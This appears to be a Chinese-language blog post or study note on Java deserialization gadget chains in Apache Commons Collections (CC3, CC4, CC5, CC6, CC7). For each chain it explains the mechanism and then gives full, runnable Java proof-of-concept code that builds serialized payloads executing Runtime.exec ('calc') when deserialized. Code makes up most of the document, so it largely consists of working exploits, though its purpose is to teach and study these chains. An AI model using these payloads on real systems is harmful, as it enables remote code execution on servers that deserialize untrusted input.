忙完一些比赛之类的,终于有时间继续看我的cc链了<( ̄︶ ̄)↗ GO! 之后打算逐步了解更新点的东西
CC3
CC3的特性是加载恶意类的字节码并实例化对象 其中一个链使用了 TrAXFilter
类与 InstantiateTransformer
搭配来触发 newTransformer()
,用 InstantiateTransformer
反射实例化对象。触发加载恶意类之前都是CC1,不过把最后直接反射调用runtime换成了加载恶意类,关于 classloader
的利用在cc2的利用链2那里已说
当 InvokerTransformer
被过滤时可以用 TrAXFilter
这个链子,TrAXFilter
本身是不能反序列化的,但是调用到它的构造函数就可以调用 newTransformer
rce还是利用 TemplatesImpl#newTransformer->TemplatesImpl#**getTransletInstance**->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass
加载恶意字节码,这里不再展开
流程
用javassit创建java恶意类,当然和之前提到的一样还可以先写一个出来再用javassit导入它。
同样,需要设置其父类为 AbstractTranslet
CC2 & CC1 这里还有个判断,如果该类的父类为
ABSTRACT_TRANSLET
就给_transletIndex
赋值,_transletIndex
在实例化类时用来指定_class
的元素 所以在之后构造恶意EvilTemplatesImpl
时需要让它继承AbstractTranslet
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
//获取恶意类的字节码
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
//反射写入字节码
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});
//反射修改_name
Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");
接下来写transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
通过 ConstantTransformer
获得到 TrAXFilter
类 它的
Transformer
方法会返回 TrAXFilter
看眼这里的 InstantiateTransformer
构造函数,可以看到传入的第二个参数是构造好的 templatesImpl
所以这里利用 Transformer
链先获得 TrAXFilter
类,再交给了 InstantiateTransformer
传入注入了字节码的 templatesImpl
并进行实例化
这里用了 LazyMap
类,它会被 AnnotationInvocationHandler
的 invoke
方法调用, 其get方法可以依次调用map内的对象,这里只需要保证 map.containskey
存在,随便传入个空键名即可
AnnotationInvocationHandler
的 invoke
方法,为了调用它需要 var2
对应的方法名字不为 equals
且无参数调用(get调用在第59行) 但
invoke
调用的是 memberValues
的 get
方式
回到POC构造,接下来这段就是用来调用 AnnotationInvocationHandler
的invoke
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=ctor.newInstance(Override.class,map1);
AnnotationInvocationHandler
继承了 InvocationHandler
,意味着该类可以作为动态代理的代理处理器,并且必须重写 invoke
方法,当调用该代理对象时,invoke
方法会被自动调用,这里只要随便调用一个无参函数即可,最终触发 LazyMap
这里的无参函数使用 entrySet
首先通过反射获取到 AnnotationInvocationHandler
的构造函数,传入 LazyMap类
创建对象 然后再用 Proxy
代理该对象,当调用 readObject
时便会调用到invoke
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
POC
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
package www.orxiain.unser.cc3;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.Transformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CC3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});
Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})
}; Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=ctor.newInstance(Override.class,map1);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(object);
//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}}
Links
CC6
CC3与CC1一样都有java版本的限制(<=8u71),原因在于 sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑发生改变 CC6链只要就是为了绕过这个限制
Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
单从ysocc6的调用链可以看出,仍然是利用了 LazyMap.get()
来调用 Transformerchain
最后直接rce的,只是前面的利用类为 TiedMapEntry
,其 getValue()
方法调用了 get()
谁调用到了 TiedMapEntry
呢? HashSet
重写的 readObject
中最后调用了 Put
方法 而put中调用了
hash()
随后调用了key的
hashCode
方法 只要让这里的
key
为 TiedMapEntry
的对象即可调用到 TiedMapEntry
类的 hashCode
其方法又调用到了
getValue()
这里调用了
get
,完美闭合,太妙了😭😭😭 这里让 this.key
可以给 LazyMap
,调用它的get方法就可以调用接下来的 Transformerchain
,最后实现rce
poc
package www.orxiain.unser.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),// 隐藏错误信息
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
// HashMap map = new HashMap();
// map.put(key, "value");
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
// oos.writeObject(map);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc6.bin"));
Object o = ois.readObject();
System.out.println(o);
}}
Links
CC4
Gadget Chain:
getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare->ChainedTransformer.transform ->TrAXFilter(构造方法)->TemplatesImpl.newTransformer ->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc4.newInstance()->Runtime.exec()
其实就是CC2的前面加CC3加载恶意类并实例化的部分 用CC2的特性使得链子在CC4.0也可用 这里只记录链子了
POC
package www.orxiain.unser.cc4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections4");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates,new byte[][]{bytes});
Field name=templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"test");
Transformer[] trans = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
}; ChainedTransformer chian = new ChainedTransformer(trans);
TransformingComparator transCom = new TransformingComparator(chian);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field com = PriorityQueue.class.getDeclaredField("comparator");
com.setAccessible(true);
com.set(queue,transCom);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test3.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test3.out"));
inputStream.readObject();
}}
Links
CC5
复现jdk为1.8u41 Gadget:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC版本还是3.2.1
从CC5的调用链可以看出还是利用到了 LazyMap.get()
,但调用的get方法前面的链子换了一下
来看一下 TiedMapEntry
这两个方法 cc5就是利用了
toString()
中的 getValue()
方法,之后和cc6和cc1一样了
toString()
会被 BadAttributeValueExpException
的readobject方法调用到 但是这里需要 getSecurityManager
为空,也就是说在沙盒之类的情况下是不可用的
POC
package www.orxiain.unser.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[]{String.class},
new Object[]{"java.lang.Runtime"}
), new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"C:\\\\windows\\\\system32\\\\calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazy,"admin");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class a = badAttributeValueExpException.getClass();
Field val = a.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serializable(badAttributeValueExpException);
unserializable();
} private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}}
CC7
Gadget Chain:
Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
LazyMap.equals 没实现,找父类
AbstractMapDecorator.equals
HashMap.equals 没实现,找父类
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
命令执行还是cc6的 LazyMap.get
那套,但是前面很有意思
入口点是 reconstitutionPut
的 readObject
方法 就像源代码中注释所描述的,我们会发现它会先将序列化数据的长度读取出来创建新的table
然后接了个for循环来将键值对写入到table,这里调用到了
reconstitutionPut(table, key, value)
细看这个方法,发现它调用了 key.equals
,所以这里控制key的内容可以让它调用到类的equals方法
但是调用到equals还需要过几个判断: 也就是这里的hash值的判断,因为它需要检查元素中是否有两个元素重复,所以会调用到这里的
equals
也就可以调用到 LazyMap
的父类 AbstractMapDecorator
的equals方法 它摆烂又会调用到LazyMap的map属性的equals方法,map属性是可控的 之后会让map为
HashMap
,也就是 HashMap
父类的 equals
方法 这里找了两次爹,还是挺有意思的
HashMap
的父类是 AbstractMap
它调用了get!
但是前面还有一堆判断:
//判断对象类型是否为同一对象
if (o == this)
return true;
//检查传入的对象 `o` 是否是 `Map` 类型或其子类型。
if (!(o instanceof Map))
return false;
//将传入的对象 `o` 强制转换为 `Map<?,?>` 类型。
Map<?,?> m = (Map<?,?>) o;
//检查传入的 `Map` 对象 `m` 的大小(即键值对的数量)是否与当前 `Map` 对象的大小相同。
if (m.size() != size())
return false;
让它们都不满足之后就可以调用m的get方法,之后就和CC5之后一样了
这里构造的时候有个点 lazyMap2.remove("yy");
为什么这里要remove掉 lazyMap2
的yy呢?
打断点逐步分析 发现在执行
hashtable.put(lazyMap2, 1);
后,LazyMap2就会多出一个元素 这就导致了两个map的size不同,最后会卡在到
AbstractMap
的equals方法判断元素数目是否相同的地方,所以需要删掉这个
那么为什么会多出这个yy呢? 打点看一下 先到了 AbstractMap
类,这里因为Value的值不为null(也就是判断了LazyMap的值是否存在),所以调用了 LazyMap
的get方法
其实这里就能看见第三行将
transform
返回的值put回去了 解决方法就是把这个yy删了
POC
package www.orxiain.unser.cc7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/*
基于Hashtable的利用链
*/public class CC7 {
public static void main(String[] args) throws Exception {
//构造核心利用代码
final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};
//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
//iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
//序列化 --> 反序列化(hashtable)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}}